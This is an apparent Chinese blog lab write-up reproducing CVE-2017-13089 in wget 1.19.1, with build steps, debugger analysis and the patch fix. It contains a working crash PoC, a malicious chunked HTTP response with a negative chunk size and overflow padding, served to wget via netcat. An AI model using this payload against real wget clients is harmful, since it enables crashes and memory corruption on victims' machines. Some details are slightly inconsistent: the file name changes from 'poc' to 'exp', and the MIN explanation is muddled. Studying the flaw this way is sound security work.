CVE-2017-13089复现
编译
首先按照wget
# 安装一些必要的编译依赖
sudo apt-get install -y libneon27-gnutls-dev build-essential
# 下载源码
wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
tar -zxvf wget-1.19.1.tar.gz
cd wget-1.19.1
# 编译, 我本地的编译环境Ubuntu 22.04.1 LTS,成功编译
mkdir build/ & ./configure --prefix=$PWD/build/
make -j8
make install
# 如果编译失败,可以加上sudo
cd build/bin
./wget -V
# 可以看到编译成功了
漏洞复现
建立poc文件
vim poc
HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-0xFFFFF000
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0
nc监听
使用nc开启http服务器并在接收到请求的时候自动返回poc
nc -lp 12667 < exp
wget触发漏洞
另外开启一个终端触发漏洞
./wget 127.0.0.1:12667
当nc自动断开连接的时候wget就成功的crash掉了,这时候漏洞复现就成功了。
调试分析
首先静态分析
skip_short_body
我们打断点打到skip_short_body
, 因为我们可以看源码,栈溢出漏洞所在点就是在这个函数里面。
skip_short_body (int fd, wgint contlen, bool chunked)
{
enum {
SKIP_SIZE = 512, /* size of the download buffer */
SKIP_THRESHOLD = 4096 /* the largest size we read */
};
wgint remaining_chunk_size = 0;
char dlbuf[SKIP_SIZE + 1];
dlbuf[SKIP_SIZE] = '\0'; /* so DEBUGP can safely print it */
/* If the body is too large, it makes more sense to simply close the
connection than to try to read the body. */
if (contlen > SKIP_THRESHOLD)
return false;
while (contlen > 0 || chunked)
{
int ret;
if (chunked)
{
if (remaining_chunk_size == 0)
{
char *line = fd_read_line (fd);
char *endl;
if (line == NULL)
break;
remaining_chunk_size = strtol (line, &endl, 16);
xfree (line);
if (remaining_chunk_size == 0)
{
line = fd_read_line (fd);
xfree (line);
break;
}
}
contlen = MIN (remaining_chunk_size, SKIP_SIZE);
}
DEBUGP (("Skipping %s bytes of body: [", number_to_static_string (contlen)));
ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1);
if (ret <= 0)
{
/* Don't normally report the error since this is an
optimization that should be invisible to the user. */
DEBUGP (("] aborting (%s).\n",
ret < 0 ? fd_errstr (fd) : "EOF received"));
return false;
}
contlen -= ret;
if (chunked)
{
remaining_chunk_size -= ret;
if (remaining_chunk_size == 0)
{
char *line = fd_read_line (fd);
if (line == NULL)
return false;
else
xfree (line);
}
}
/* Safe even if %.*s bogusly expects terminating \0 because
we've zero-terminated dlbuf above. */
DEBUGP (("%.*s", ret, dlbuf));
}
DEBUGP (("] done.\n"));
return true;
}
一步步控制条件触发栈溢出
然后根据条件判断,401状态码后进入fd_read
函数,fd_read
函数封装了 sock_read
函数,sock_read
函数调用了 read
函数,在这里触发了栈溢出:
static int
sock_read (int fd, char *buf, int bufsize)
{
int res;
do
res = read (fd, buf, bufsize);
while (res == -1 && errno == EINTR);
return res;
}
动态调试
pwngdb
这里使用pwngdb来调试程序,安装过程自行百度
gdb ./wget
set args 127.0.0.1:12667
b skip_short_body
单步步进到fd_read_line
后看RAX寄存器
的值是*RAX 0x555555611a30 ◂— '-0xFFFFF000\n'
,这是返回值 line 的值
往下,接着会调用 strtol
函数,第一个为 line 的值,第二个参数为栈上的变量,第三个参数为长度:
执行完 strtol
函数之后,会将返回值赋值给 remaining_chunk_size
变量,此时这个变量的值为 0xffffffff00001000
, 也就是-4294963200
后续通过987行代码的
contlen = MIN (remaining_chunk_size, SKIP_SIZE);
得到的 contlen
变量的值为 0x1000。
而 SKIP_SIZE
的定义:
-
这里将一个负数与整数相比较,返回的值就是 0x1000。
接着调用到
fd_read
函数,这个函数的第三个参数就是 contlen 的值,大小为 0x1000。
跟进函数,fd_read
里面封装了 sock_read
函数:
跟进之后发现,这个函数里调用了 read 函数,将 sock 通道里的内容(也就是 AAAA…)复制到栈空间上:
因为这个值太大,导致了栈溢出。填充后不会使得当前 fd_read
函数崩溃,而会溢出到了 skip_short_body
这个函数的栈空间,覆盖了栈的返回地址,导致程序崩溃:
复现结束
至此,漏洞算是复现结束。
修复建议是升级程序,更新的补丁将 strtol
函数的返回值 remaining_chunk_size
变量的值进行是否为负数的判断,如果是负数的话就之后 return False
从而防止整数的溢出。
参考
本地环境
Windows 11 + WSL2(Ubuntu22.04)+ VS Code